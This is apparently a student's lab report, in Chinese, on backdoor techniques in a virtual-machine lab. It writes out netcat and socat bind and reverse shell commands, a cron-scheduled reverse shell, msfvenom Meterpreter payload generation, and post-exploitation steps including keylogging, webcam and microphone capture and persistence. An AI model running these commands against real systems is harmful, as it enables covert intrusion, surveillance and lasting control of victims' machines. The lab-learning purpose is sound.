zoukankan      html  css  js  c++  java
  • Exp2 后门原理与实践

    Exp2 后门原理与实践

    实验环境

    攻击机

    • kali 4.14(64位) (IP: 10.0.2.6/24)

    靶机

    • ubuntu 16.04(32位) (IP: 10.0.2.4/24)
    • windows 7 sp1(64位) (IP: 10.0.2.7/24)

    nc/ncat的使用

    nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项

    ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)

    nc的监听模式在kali下会出现问题,监听的端口会随机变化,因此推荐同学们在kali下使用ncat

    nc后门获得win/linux shell

    在win7靶机下载netcat后,进入netcat所在文件夹,在命令提示符中输入nc -L -e cmd.exe -p 80启动后门服务。

    -L 选项-l选项是将nc设置为监听模式。-p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙),-e 选项可以绑定到cmd.exe这个shell程序。

    1.1

    在攻击机中输入nc 10.0.2.7 80连接到win7靶机,获得win7的shell。

    1.2

    ubuntu自带的nc版本没有-e 选项,当然可以用ncat替代,这里展示一下没有-e 选项的nc如何获得shell。(参考man手册)

    输入

    $ rm -f /tmp/f; mkfifo /tmp/f
    $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f
    

    1.3

    攻击机连接后,得到shell

    1.4

    nc获得win/linux反弹shell

    前面的示例都是靶机作为服务器,监听攻击机的TCP连接。下面我们让靶机主动连接攻击机,获得反弹式shell。

    在攻击机中输入ncat -vv -l 9190进入监听模式,-vv选项提供详细的状态输出。

    1.5

    靶机中输入nc 10.0.2.6 9190 -e cmd.exe主动连接攻击机

    1.6

    攻击机获得shell

    1.7

    nc后门配合cron启动反弹式shell

    crontab计划内容的基础知识可以在实验楼中学习,这里给出crontab的格式:

    # Example of job definition:
    # .---------------- minute (0 - 59)
    # |  .------------- hour (0 - 23)
    # |  |  .---------- day of month (1 - 31)
    # |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
    # |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
    # |  |  |  |  |
    # *  *  *  *  * user-name command to be executed
    
    1. 在攻击机下输入ncat -vv -l 9190在端口9190监听

    2.1

    2.在靶机中配置crontable,让它在中午12:00,连接攻击机(做完实验正好出去吃饭)

    2.2

    2.3

    3.时间到了,攻击机显示靶机10.0.2.4连接,获得反弹shell

    2.4

    socat的使用

    socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。

    这里我们只把socat作为传递shell的工具使用。

    socat速查

    • 连接端口 socat - tcp:10.0.2.4:80 #连接ip 为 10.0.2.4 主机的80端口
    • 监听端口 socat - tcp-l:8080 #侦听本机的8080端口
    • 传递远程shell socat tcp-l:1234 exec:<sh>,pty,stderr #当有主机连接本机的1234端口时,将会发送本机的shell给连接端

    socat配合windows任务计划

    在win7靶机中点击控制面板->系统和安全->管理工具->任务计划程序,进入下面的画面:

    3.1

    选择创建任务,在常规选项卡中编辑名称,并在触发器选项卡中选择工作站锁定时,这样在靶机锁定的时候,我们的socat就会传递远程shell

    3.2

    操作选项卡中绑定socat程序,给出参数tcp-listen:9190 exec:cmd.exe,pty,stderr

    3.3

    然后按下win + L锁定win7靶机,在攻击机中输入socat - tcp:10.0.2.7:9190,获得远程shell。

    3.4

    Meterpreter的使用

    终于到祭出神器Meterpreter的部分了!Meterpreter是Metasploit框架中功能最强大、最有发展前景的模块,它作为可以被渗透攻击植入到目标系统上执行的一个攻击载荷,除了提供基本的会话控制之外,还集成了大量的后渗透攻击的命令和功能,
    比如敏感信息搜集、击键记录、本地特权提升等等。

    注意事项

    市面上的一些关于metasploit的书在某些方面已经过时了(我说的就是参考书《Metasploit魔鬼训练营》和《Metasploit渗透测试指南》),msfcli接口已经没有了,msfpayload和msfencode模块也被移除了,取而代之的是msfvenom,它集成了这两个模块的功能。
    所以《Metasploit魔鬼训练营》第9章中的一些内容无法复现出来。

    生成后门程序

    我们用msfvenom生成一个windows平台的反弹式后门程序,连接端口为9190。

    输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=9190 -f exe > 20155110_backdoor.exe

    4.1

    我们把这个后门程序拷贝到win7靶机中去,方法有很多,这里使用ncat。

    在kali中输入ncat -l 9190 < 20155110_backdoor.exe

    在win7靶机的nc所在目录下输入nc 10.0.2.6 9190 > 20155110_backdoor.exe

    这样就将程序拷贝到了win7靶机中。

    4.2

    开启后门

    接着,让我们进入msfconsole中去,输入use exploit/multi/handler(可以用tab键补全)

    然后选择payload,看一下使用这个攻击载荷需要设置那些东西:

    4.3

    设置攻击机IP和监听的端口

    4.4

    接着输入exploit,然后在win7靶机中运行后门程序,猎物就上钩了。

    4.5

    进程迁移

    为了保证会话不被意外终止,我们首先需要将会话移植到比较稳定的系统服务进程中去。比如explorer.exe。

    输入ps查看win7靶机进程,发现explorer.exe的进程id为2020,我们把进程迁移到它上面。

    输入migrate 2020,进程迁移成功!

    5.3

    检查是否为虚拟机

    输入run post/windows/gather/checkvm,结果显示靶机是一台虚拟机

    5.1

    获得windows命令行

    特别简单,只要输入shell就行了。

    4.6

    获取音频

    非常简单,输入record_mic即可,虽然很无聊。

    5.4

    打开摄像头

    我使用的虚拟机软件是virtual box,需要安装VirtualBox Extension Pack才能让虚拟机使用主机的摄像头。

    安装方法(https://jingyan.baidu.com/article/a3761b2b8073361576f9aadf.html)

    输入webcam_list,发现靶机中有摄像头:

    4.7

    输入webcam_snap,给张照片(被自己丑哭了):

    4.8

    输入webcam_stream,持续打开摄像头,实况直播.

    截屏

    输入screenshot即可

    4.10

    键盘记录

    输入keyscan_start开始记录,keyscan_dump导出记录

    4.11

    尝试提权

    getuid显示当前用户,输入getsystem尝试提升权限,但是失败了,很遗憾:

    5.2

    Meterpreter的持久化

    Meterpreter仅仅是驻留在内存的shellcode,靶机重启的话,攻击机就会失去控制权了。如果被利用的漏洞被打上了补丁,重新入侵就非常困难。

    通过使用persistence或者metsvc的后渗透模块,在靶机上安装自启动或系统服务的方式,可以达到长久控制靶机的目标。

    但不得不说,这些技术有些简单了,很容易引起人们的察觉,也没法逃过安全软件。

    persistence自启动

    输入run persistence -X -i 5 -p 443 -r 10.0.2.6-X指定启动的方式为开机自启动,-i指定反向连接的时间间隔。

    5.6.1

    5.6

    靶机重启完毕,我们在攻击机上收到了Meterpreter的会话。

    5.7

    metsvc模块

    metsvc模块将Meterpreter以系统服务的形式安装到目标主机上,直接输入run metsvc,只可惜失败了。

    5.8

    基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    答:后门一般隐藏在正常应用程序之中,甚至官方故意将后门设置在系统中。我们在网上下载所谓的“破解软件”、ooxx视频、未知邮件附件也可能携带后门。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    答:直接诱骗用户点击,通常将后门伪装成正常软件,比如网上银行之类的,曾经有电信骗子就被微博博主“中国元”忽悠,亲手打开了后门(笑)。

    也可以修改注册表设置成开机自启动,或者直接将后门安装成系统服务,但这些手段暴露的可能性很大。

    (3)Meterpreter有哪些给你映像深刻的功能?

    答:这次实验的所有功能都让我很兴奋!

    (4)如何发现自己的系统有没有被安装后门?

    答:网上的一些老手喜欢用手工的入侵防御系统(IPS)自己配置规则,自己查看进程和注册表来发现系统的异常,我作为小白是完全不会用的。

    所以只能依靠360全家桶了……(笑)

    实验总结与体会

    metasploit实在是太可怕了!于是,我有过这样的幻想:有了这样的神器,我觉得自己研究个三四年,然后在公网上部署一个metasploit,虽然没有技术水平写属于自己的shellcode,当个“脚本小子”完全没问题!虽然我只是一名普通的公务员,工资水平一般,但是靠干“脚本小子”的活说不定能挣到一笔外快呢!我听说做黑产是很挣钱的,就算是在产业链的尾巴上,也能挣到一笔不小的收入呢!攒着这笔钱买房买车娶老婆给父母养老……

    回到现实吧,的确现在入门网络安全的门槛越来越低,但这不等同于学习网络安全技术很容易。

    真正的一线黑产、国家黑客、高级安全研究人员可都是计算机技术的专家!这些本领不是简单地输入一两条指令,使用一些工具,他们的技术能力是建立在对计算机和网络无比熟悉和精通的基础上,从而拥有“除了上帝,一切皆可渗透”的技术自信。

    认真反思了下自己,我觉得自己和技术是无缘了,就算我真的爱财,也没有门路和能力在黑客技术上挣钱。

    但把安全技术当作兴趣爱好还是可以的,毕竟挺好玩的。

  • 相关阅读:
    Rman-10038: Database Session For Channel D1 Terminated Unexpectedly
    MySQL从入门到项目实践 pdf下载
    Oracle_优化器使用(oracle11g)
    当sqlserver启用sa账户时,出现Microsoft SQL Server 错误代号: 15535 解决方法 (转)
    sqlserver 如何分析“死锁调度程序”转储?
    AtCoder Beginner Contest 213
    LOJ
    [学习笔记] 计算几何
    [COCI 2009-2010 #6] XOR
    BZOJ
  • 原文地址:https://www.cnblogs.com/wyf12138/p/8643422.html
Copyright © 2011-2022 走看看